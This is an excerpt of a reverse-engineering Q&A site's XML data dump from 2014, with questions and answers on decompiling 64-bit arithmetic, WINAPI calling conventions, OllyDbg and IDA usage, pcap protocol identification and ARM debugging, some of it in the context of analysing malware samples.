  <row Id="6156" PostTypeId="1" AcceptedAnswerId="6157" CreationDate="2014-09-02T02:25:33.897" Score="1" ViewCount="1869" Body="&lt;p&gt;I have this dissassembled routine from an executable but I am having troubles to translate it to C#.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:005C9290 ; =============== S U B R O U T I N E =======================================&#xA;.text:005C9290&#xA;.text:005C9290 ; Attributes: bp-based frame&#xA;.text:005C9290&#xA;.text:005C9290 sub_5C9290      proc near               ; CODE XREF: .text:00574256p&#xA;.text:005C9290                                         ; sub_5ACC50+68p ...&#xA;.text:005C9290&#xA;.text:005C9290 SystemTimeAsFileTime= _FILETIME ptr -8&#xA;.text:005C9290 arg_0           = dword ptr  8&#xA;.text:005C9290&#xA;.text:005C9290                 push    ebp&#xA;.text:005C9291                 mov     ebp, esp&#xA;.text:005C9293                 push    ecx&#xA;.text:005C9294                 push    ecx&#xA;.text:005C9295                 lea     eax, [ebp+SystemTimeAsFileTime]&#xA;.text:005C9298                 push    eax             ; lpSystemTimeAsFileTime&#xA;.text:005C9299                 call    ds:GetSystemTimeAsFileTime&#xA;.text:005C929F                 mov     eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]&#xA;.text:005C92A2                 mov     ecx, [ebp+SystemTimeAsFileTime.dwHighDateTime]&#xA;.text:005C92A5                 push    0&#xA;.text:005C92A7                 add     eax, 2AC18000h&#xA;.text:005C92AC                 push    offset unk_989680&#xA;.text:005C92B1                 adc     ecx, 0FE624E21h&#xA;.text:005C92B7                 push    ecx&#xA;.text:005C92B8                 push    eax&#xA;.text:005C92B9                 call    sub_5D0500&#xA;.text:005C92BE                 mov     ecx, [ebp+arg_0]&#xA;.text:005C92C1                 test    ecx, ecx&#xA;.text:005C92C3                 jz      short locret_5C92C7&#xA;.text:005C92C5                 mov     [ecx], eax&#xA;.text:005C92C7&#xA;.text:005C92C7 locret_5C92C7:                          ; CODE XREF: sub_5C9290+33j&#xA;.text:005C92C7                 leave&#xA;.text:005C92C8                 retn&#xA;.text:005C92C8 sub_5C9290      endp&#xA;.text:005C92C8&#xA;.text:005C92C9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I have this pseudo-code from this function generated by IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 __cdecl sub_5C9290(int a1)&#xA;{&#xA;  __int64 result; // qax@1&#xA;  unsigned __int64 v2; // ST00_8@1&#xA;  struct _FILETIME SystemTimeAsFileTime; // [sp+0h] [bp-8h]@1&#xA;&#xA;  GetSystemTimeAsFileTime(&amp;amp;SystemTimeAsFileTime);&#xA;  HIDWORD(v2) = ((_DWORD)SystemTimeAsFileTime.dwLowDateTime &amp;gt;= 0xD53E8000u)&#xA;              + SystemTimeAsFileTime.dwHighDateTime&#xA;              - 27111903;&#xA;  LODWORD(v2) = SystemTimeAsFileTime.dwLowDateTime + 717324288;&#xA;  result = sub_5D0500(v2, (unsigned int)&amp;amp;unk_989680, 0);&#xA;  if ( a1 )&#xA;    *(_DWORD *)a1 = result;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One problems is that code won't compile, this code doesn't make sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HIDWORD(v2) = ((_DWORD)SystemTimeAsFileTime.dwLowDateTime &amp;gt;= 0xD53E8000u)&#xA;              + SystemTimeAsFileTime.dwHighDateTime&#xA;              - 27111903;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also one problem is the &lt;code&gt;ADC&lt;/code&gt; command which all I can find is that it is exactly as &lt;code&gt;ADD&lt;/code&gt; but it also adds the &lt;code&gt;CARRY FLAG&lt;/code&gt; to the result, but I can't find any ways to reproduce this command in C#.&#xA;And what about all those &lt;code&gt;HIDWORD&lt;/code&gt; and &lt;code&gt;LODWORD&lt;/code&gt; macros?&lt;/p&gt;&#xA;" OwnerUserId="2198" LastEditorUserId="53" LastEditDate="2014-09-02T06:22:37.127" LastActivityDate="2014-09-02T06:22:37.127" Title="Convert assembly ADC to C#" Tags="|ida|disassembly|c#|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6157" PostTypeId="2" ParentId="6156" CreationDate="2014-09-02T03:27:20.080" Score="2" Body="&lt;p&gt;This is 64-bit math. The compiler has to do the addition in two steps because the processor can only work 32 bits at a time. And carry has to be propagated from the low addition to the high one - same way when you do addition of multiple-digit numbers on paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the current version of the decompiler (1.7) produces (after fixing the function prototype):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result = sub5D0500(time - 116444736000000000i64, 10000000i64);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And (just a guess) if you rename &lt;code&gt;sub5D0500&lt;/code&gt; to &lt;code&gt;__alldiv&lt;/code&gt; (compiler helper function for 64-bit division), it becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result = (time - 116444736000000000i64) / 10000000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently you're looking at MSVC's &lt;code&gt;_time64&lt;/code&gt; implementation. From &lt;code&gt;time64.c&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Number of 100 nanosecond units from 1/1/1601 to 1/1/1970&#xA; */&#xA;#define EPOCH_BIAS  116444736000000000i64&#xA;[...]&#xA;__time64_t __cdecl _time64 (&#xA;        __time64_t *timeptr&#xA;        )&#xA;{&#xA;        __time64_t tim;&#xA;        FT nt_time;&#xA;        GetSystemTimeAsFileTime( &amp;amp;(nt_time.ft_struct) );&#xA;        tim = (__time64_t)((nt_time.ft_scalar - EPOCH_BIAS) / 10000000i64);&#xA;        if (timeptr)&#xA;                *timeptr = tim;         /* store time if requested */&#xA;        return tim;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-02T03:27:20.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6159" PostTypeId="2" ParentId="6153" CreationDate="2014-09-02T07:52:15.350" Score="1" Body="&lt;p&gt;ZwQueryInformationThread is low-level API with deals with querying information about threads.&#xA;Malware related you can hide from a debugger just like evlncrn8 said.&#xA;You could also use this to hide a thread like a rootkit would by hooking the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about you set a breakpoint on all the common exit APIs and look back to what actually calls the exit so you can work your way back to what's actually happening? There no point just looking at ZwQueryInformationThread and guessing it's that API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breakpoint the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExitProcess&lt;/li&gt;&#xA;&lt;li&gt;TerminateProcess&lt;/li&gt;&#xA;&lt;li&gt;NtTerminateProcess&lt;/li&gt;&#xA;&lt;li&gt;LdrShutdownProcess&lt;/li&gt;&#xA;&lt;li&gt;ExitThread&lt;/li&gt;&#xA;&lt;li&gt;TerminateThread&lt;/li&gt;&#xA;&lt;li&gt;NtTerminateThread&lt;/li&gt;&#xA;&lt;li&gt;LdrShutdownThread&lt;/li&gt;&#xA;&lt;li&gt;SetThreadContext/ NtSetContextThread setting EIP/RIP to 0.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Soon as it exits you'll able to follow it all back to whats actually closing the program.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-09-02T07:52:15.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6160" PostTypeId="1" AcceptedAnswerId="6161" CreationDate="2014-09-02T18:54:32.630" Score="2" ViewCount="1815" Body="&lt;p&gt;Is it possible to identify a protocol in a pcap file? I have a file which is a capture of data going between my phone and an IP camera, and I'd like to identify the protocol. I am using the app &quot;MEye&quot; to view the camera, which provides no hints of the protocol used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried googling the headers in some of the packets, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pcap file can be found &lt;a href=&quot;http://a.pomf.se/vdplhi.pcap&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to identify the protocol at all?&lt;/p&gt;&#xA;" OwnerUserId="8441" LastActivityDate="2014-09-02T20:17:43.277" Title="Identifying protocol in a pcap file?" Tags="|sniffing|networking|protocol|packet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6161" PostTypeId="2" ParentId="6160" CreationDate="2014-09-02T19:10:54.307" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to identify a protocol in a pcap file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but this appears to be a proprietary protocol over TCP/IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first four bytes of every message is a 32-bit big-endian value that specifies the length of the following bytes in the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The messages aren't encrypted, so you might be able to do some data carving. But if you really want to know what's going on, your best bet is to reverse engineer your &quot;MEye&quot; app as opposed to relying solely on the packet capture to understand the protocol.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-02T19:10:54.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6162" PostTypeId="2" ParentId="6160" CreationDate="2014-09-02T20:17:43.277" Score="1" Body="&lt;p&gt;Looking at the website for the software vendor, &lt;a href=&quot;http://www.meyetech.com/support/support98.html&quot; rel=&quot;nofollow&quot;&gt;it recommends&lt;/a&gt; that the DVR on the other end of the connection be set to &quot;Substream, CIF or QCIF at 6-10 FPS&quot;.  Those refer to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Common_Intermediate_Format&quot; rel=&quot;nofollow&quot;&gt;&quot;Common Intermediate Format&quot;&lt;/a&gt; and &quot;Quarter Common Intermediate Format&quot; respectively.  They are defined within the &lt;a href=&quot;http://www.itu.int/rec/T-REC-H.261-199303-I/en&quot; rel=&quot;nofollow&quot;&gt;&quot;H.261  Video codec for audiovisual services at p x 64 kbit/s&quot;&lt;/a&gt; standard, so you may find sufficient detail within those documents (which are available for free) to be able to start making some intelligent guesses as to how to decode this particular protocol.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, Wireshark, as least as of September 2014, does not support H.261 decoding. Perhaps you could add it.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-09-02T20:17:43.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6164" PostTypeId="2" ParentId="6141" CreationDate="2014-09-03T15:30:52.180" Score="1" Body="&lt;p&gt;It looks like the address of something (maybe an array element) is being taken and that is being used to set up call frame for later use.  Something &lt;em&gt;very&lt;/em&gt; roughly like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void f(void){&#xA;  void *x = &amp;amp;someMemory;&#xA;  void *y = &amp;amp;someMemory2;&#xA;&#xA;  g(y,x);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;caveat lector.&lt;/p&gt;&#xA;" OwnerUserId="8449" LastActivityDate="2014-09-03T15:30:52.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6165" PostTypeId="1" AcceptedAnswerId="6169" CreationDate="2014-09-03T21:39:44.333" Score="0" ViewCount="326" Body="&lt;p&gt;I try to analyze malware since a few months and by examining the assembly code of a trojan for example, I see sometimes windows functions like &lt;code&gt;ws2_32.send&lt;/code&gt; which is the &lt;code&gt;send()&lt;/code&gt;-function, etc. That is not a problem to understand, I can go to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/de-de/library/windows/desktop/ms740149%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/de-de/library/windows/desktop/ms740149%28v=vs.85%29.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and read that, everything is okay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I ask myself, how the people who writes that code put that function in their code. I mean, can you for example write in a C code the function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int send(&#xA;     __in  SOCKET s,&#xA;     __in  const char *buf,&#xA;     __in  int len,&#xA;     __in  int flags);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and is it then so that the C compiler understands it ?&#xA;There are some other functions like &lt;code&gt;CopyFileA&lt;/code&gt; for example which looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  BOOL WINAPI CopyFile(&#xA;  _In_  LPCTSTR lpExistingFileName,&#xA;  _In_  LPCTSTR lpNewFileName,&#xA;  _In_  BOOL bFailIfExists&#xA;  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I ask myself how the compiler understand the word &lt;code&gt;&quot;WINAPI&quot;&lt;/code&gt; for example and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, if the people try to write such code to create a trojan, how they make clear that it should be a windows function? &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-09-04T06:44:20.180" LastActivityDate="2014-09-04T06:50:10.970" Title="Question about Windows-Functions in malware" Tags="|assembly|" AnswerCount="2" CommentCount="1" ClosedDate="2014-09-08T15:27:07.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="6166" PostTypeId="1" CreationDate="2014-09-03T23:15:37.550" Score="0" ViewCount="1072" Body="&lt;p&gt;By analyzing a piece of a trojan code, I have the &lt;code&gt;memset()&lt;/code&gt;-function with the following parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *s;       //Ollydbg says that it shows to 0012F8A3&#xA;int  c = 0;&#xA;int n = 512;&#xA;&#xA;memset(s, c, n);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I know what this function does and so on. So my question would be:&#xA;Is there a way to find out which string is at place  &lt;code&gt;0012F8A3&lt;/code&gt; using Olldbg ? &#xA;By right-clicking and Go to Expression -&gt;  &lt;code&gt;0012F8A3&lt;/code&gt;, I came to a place with the following code lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0012F8A3   0000   ADD BYTE PTR DS: [EAX], AL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line occurs consecutively. And in the stack window of Ollydbg, there is no such a place labeled with &lt;code&gt;0012F8A3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-09-04T11:22:48.437" LastActivityDate="2014-09-07T21:30:11.063" Title="memset() in malware" Tags="|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6167" PostTypeId="2" ParentId="6166" CreationDate="2014-09-04T01:05:19.690" Score="1" Body="&lt;p&gt;Since you want to look at data, you should use the Dump window at the bottom left of the screen. You can use the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; shortcut to move the view to a specific address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, at that point in the code &lt;code&gt;memset()&lt;/code&gt; is zeroing out the buffer. So, you probably won't have anything interesting but it will probably be filled later in the code. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="53" LastEditDate="2014-09-04T11:23:53.090" LastActivityDate="2014-09-04T11:23:53.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6168" PostTypeId="2" ParentId="6165" CreationDate="2014-09-04T03:13:18.093" Score="2" Body="&lt;p&gt;&lt;code&gt;WINAPI&lt;/code&gt; is a declaration in the &lt;code&gt;.h&lt;/code&gt; files for &lt;code&gt;__stdcall&lt;/code&gt;... &#xA;(&lt;em&gt;ie.&lt;/em&gt; standard call type declaration parameters passed on stack and function is expected to balance the stack as opposed to the &lt;code&gt;__cdecl&lt;/code&gt; format, or &lt;code&gt;__fastcall&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, the compiler does the work for you on the imports:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI CopyFile(&#xA;_In_  LPCTSTR lpExistingFileName,&#xA;_In_  LPCTSTR lpNewFileName,&#xA;_In_  BOOL bFailIfExists&#xA;);&#xA;&#xA;push TRUE ; assume the `bFailIfExists` is set to `true` - compiler looks up&#xA;          ; the equate for true which is typically 01 &#xA;          ; (unless you're coding in Delphi, then its strange).&#xA;&#xA;push offset lpNewFilename ; compiler sets this as a unique address, linker fixes it up.&#xA;&#xA;push offset lpExistingFileName ; same as above&#xA;&#xA;call [__imp__CopyFile] ; linker fixes this up to the address in the import table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh, in asm ; is a comment like // in c. asm example... params are pushed in the opposite order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put simply, regardless of the coding language various things equate to a value, which the compiler knows or sees that its set in the code, the compiler makes the obj files which are compiled code, but addresses are set in a sort of lookup table format, uniquely, imports are declared, but again, name or ordinal style table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the linker does the task of putting everything together for the final executable, further stuff is done if its a DLL, like reloc tables and such&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actually its declared here.. look at the &lt;code&gt;#declare WINAPI&lt;/code&gt; line near the bottom&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/zxk0tw93.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/zxk0tw93.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="53" LastEditDate="2014-09-04T06:50:10.970" LastActivityDate="2014-09-04T06:50:10.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6169" PostTypeId="2" ParentId="6165" CreationDate="2014-09-04T03:18:12.497" Score="4" Body="&lt;p&gt;You're misunderstanding the use of the keyword. As the comment on your questions said, WINAPI is the calling convention for a function. WINAPI is #define'd to __stdcall which specifies how the stack is managed in relation to that function, which you can see documented on MSDN &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/zxk0tw93.aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. That article gives you a good overview of what it does and how it would get used in the header file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's common for the calling convention to not be explicitly stated for CRT functions on Windows; but that's just in the documentation and doesn't mean the calling convention doesn't need to be declared similarly. Most functions (on x86) will use __stdcall. The most common exception is the printf() family of functions which use the cdecl calling convention. This has more to do with the history of how x86 was developed than any particular design choices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most constants, WINAPI et al, can be found somewhere on MSDN or if you have Visual Studio by hitting F12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as far as a more general answer to what I take your question to be, as far as how/why you might see certain function calls in a particular sample, the short answer is that Windows provides both the standard C library calls and its own versions of the APIs. In this case, the send() function is defined in Winsock2.h and the function itself is in Ws2_32.lib (also available on that MSDN page you linked). However, what you might call the &quot;Windows API version&quot; of this function is also found in the same .h and .lib file: WSASend(), which is documented &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms742203(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see by the two articles on MSDN these functions are almost identical, and if you look at the disassmebly for both of them you'd see that WSASend() and send() are almost the exact same function. But Windows supports both so if you learn on Unix or just using the standard C library you can write the same code on windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the other CRT functions (fopen, fread, printf) are implemented in the C Runtime Library, msvcrt.dll. They're mostly independent (compared to socket functions all being in Ws2_32.lib).&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-09-04T03:18:12.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6170" PostTypeId="1" CreationDate="2014-09-04T03:46:14.063" Score="3" ViewCount="1162" Body="&lt;p&gt;I'm writing a script that, among other things, reads and does some processing with parameters to a function. Right now my solution to find the number of arguments for a given function at &lt;code&gt;addr&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(GetStrucSize(GetFrame(addr)) - GetFrameSize(addr))/4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is on x86. The issue is when I'm calling, for example, &lt;code&gt;printf()&lt;/code&gt;, the difference between the two &lt;code&gt;GetXXX()&lt;/code&gt; calls is 5 which obviously messes up the math.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I've worked around it by checking if the first parameters is a format string with format specifiers and then parsing it manually to get the real count, but that's not really extensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in the confines of the API to deal with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should have made this clearer in the question but this is specifically referring to the IDA API. I could write the code myself to calculate cleanup but in interest of keeping my code clean I'm trying to avoid a lot of code querying if it's stdcall and cdecl and then searching/parsing myself&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="1306" LastEditDate="2014-09-04T18:16:56.143" LastActivityDate="2014-09-04T18:16:56.143" Title="IDA API - query number of parameters for cdecl functions" Tags="|ida|python|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6171" PostTypeId="1" AcceptedAnswerId="6172" CreationDate="2014-09-04T05:26:36.197" Score="1" ViewCount="8011" Body="&lt;p&gt;I'm newbie, I have a little knowledge of debugging x86 binary. However, I have to work with ARM.&#xA;I'm getting stuck on install QEMU and can't debug an ARM binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you a lot for give me tutorials of reversing an example ARM binary.&lt;/p&gt;&#xA;" OwnerUserId="8268" LastActivityDate="2014-09-04T06:09:01.737" Title="How to debug ARM binary with IDA pro on Windows?" Tags="|ida|arm|qemu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6172" PostTypeId="2" ParentId="6171" CreationDate="2014-09-04T06:09:01.737" Score="0" Body="&lt;p&gt;Here is a simple video for setting up qemu for ARM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.securitytube.net/video/5818&quot; rel=&quot;nofollow&quot;&gt;http://www.securitytube.net/video/5818&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using IDA you can open and disassemble the program fine. Just to debug you will probably get stuck using GDB as you can't run the arm binary in your current environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have more questions.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2014-09-04T06:09:01.737" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6173" PostTypeId="2" ParentId="6170" CreationDate="2014-09-04T17:24:28.350" Score="4" Body="&lt;p&gt;For cdecl the caller needs to clean up the stack. So somewhere after the function call there HAS to be a stack operation that removes the parameters from the stack (remove as in adjust the stack pointer)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH 0xABCDEF01&#xA;CALL function&#xA;ADD ESP, 4 ; sizeof(DWORD) (the parameter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does NOT need to be directly after the call. (I think VS08 sometimes puts the return value check before it)&#xA;So this is equally valid&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH 0xABCDEF01&#xA;CALL function&#xA;TEST EAX, EAX&#xA;ADD ESP, 4 ; sizeof(DWORD) (the parameter)&#xA;; A conditional jump probably&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH 0xABCDEF01&#xA;CALL function&#xA;POP EAX &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because EAX holds a DWORD and thus removes &lt;code&gt;sizeof(DWORD)&lt;/code&gt; == 4 bytes from the stack. (This obviously also holds true for all other general purpose extended registers).&#xA;(It is POSSIBLE that e.g. for &lt;code&gt;N&lt;/code&gt; parameters one could use &lt;code&gt;N&lt;/code&gt; &lt;code&gt;POP&lt;/code&gt; but I'm certain that no compiler does that and for every &lt;code&gt;N&lt;/code&gt; &gt; 2 it will lead to bigger code so it is unrealistic to happen in handwritten assembly too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't exists a maximum &lt;code&gt;N&lt;/code&gt; of instructions that you could check after the call to determine whether that stack operation is the cleanup code. However I think that 5 will work for almost all cases (If you by chance do already know that this function is CDECL then check as many as you want)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also for functions where the return value isn't important but is called before the return value of another function is inspected, one can save a variable like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL function1&#xA;PUSH EAX ; Save EAX&#xA;PUSH something&#xA;CALL function2&#xA;POP EAX ; Remove the something parameter&#xA;POP EAX ; Restore the return value of function1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could try to also count the &lt;code&gt;PUSH&lt;/code&gt; but that comes with it's own sort of intermediate instructions - this is really common:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH something&#xA;LEA EAX, something_else ; Get a pointer to something_else&#xA;PUSH EAX &#xA;PUSH more&#xA;CALL function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you cannot stop working 'up' as soon as you hit an instruction that isn't a &lt;code&gt;PUSH&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion there isn't a perfect solution but I think both can lead to a pretty reliable value; Which one you choose (or maybe both?) is up to you, IMO the first one (Searching for the stack cleanup) is easier to implement.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2014-09-04T17:24:28.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6174" PostTypeId="2" ParentId="3362" CreationDate="2014-09-04T20:00:14.820" Score="0" Body="&lt;p&gt;(blatant plug)&lt;/p&gt;&#xA;&lt;p&gt;protectionid (pid.gamecopyworld.com) reports the compiler info (turn it on in the configuration)&lt;/p&gt;&#xA;&lt;p&gt;to do it, its a multitude of things&lt;/p&gt;&#xA;&lt;p&gt;checking for byte patterns&lt;/p&gt;&#xA;&lt;p&gt;checking imports (mscoree.dll, msvcr*.dll and so on)&lt;/p&gt;&#xA;&lt;p&gt;checking entrypoint code&lt;/p&gt;&#xA;&lt;p&gt;checking mz stub&lt;/p&gt;&#xA;&lt;p&gt;checking linker version&lt;/p&gt;&#xA;&lt;p&gt;and a few other things&lt;/p&gt;&#xA;&lt;p&gt;example output&lt;/p&gt;&#xA;&lt;p&gt;Scanning -&amp;gt; C:\ProtectionID.source\problematic.files\solved\detected\Agile.NET&#xA;6.2.0.16.AgileNETUnpackMe\AgileUnpackMe.exe&lt;/p&gt;&#xA;&lt;p&gt;File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 7680 (01E00h) Byte(s)&lt;/p&gt;&#xA;&lt;p&gt;[File Heuristics] -&amp;gt; Flag : 00000100000001001101000000110000 (0x0404D030)&lt;/p&gt;&#xA;&lt;p&gt;[Entrypoint Section Entropy] : 5.25 (section #0) &amp;quot;.text   &amp;quot; | Size : 0x1288 (4744) byte(s)&lt;/p&gt;&#xA;&lt;p&gt;[DllCharacteristics] -&amp;gt; Flag : (0x8540) -&amp;gt; ASLR | DEP | NOSEH | TSA&lt;/p&gt;&#xA;&lt;p&gt;[ImpHash] -&amp;gt; f34d5f2d4577ed6d9ceec516c1f5a744&lt;/p&gt;&#xA;&lt;p&gt;[SectionCount] 3 (0x3) | ImageSize 0x8000 (32768) byte(s)&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] Product Name : AgileUnpackMe&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] Product Version : 1.0.4999.25574&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] File Description : AgileUnpackMe&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] File Version : 1.0.4999.25574&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] Original FileName : AgileUnpackMe.exe&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] Internal Name : AgileUnpackMe.exe&lt;/p&gt;&#xA;&lt;p&gt;[VersionInfo] Legal Copyrights : Copyright 2013&lt;/p&gt;&#xA;&lt;p&gt;[Debug Info] (record 1 of 1) (file offset 0x1414)&lt;/p&gt;&#xA;&lt;p&gt;Characteristics : 0x0 | TimeDateStamp : 0x522C69AD | MajorVer : 0 / MinorVer : 0 -&amp;gt; (0.0)&lt;/p&gt;&#xA;&lt;p&gt;Type : 2 (0x2) -&amp;gt; CodeView | Size : 0x57 (87)&lt;/p&gt;&#xA;&lt;p&gt;AddressOfRawData : 0x3230 | PointerToRawData : 0x1430&lt;/p&gt;&#xA;&lt;p&gt;CvSig 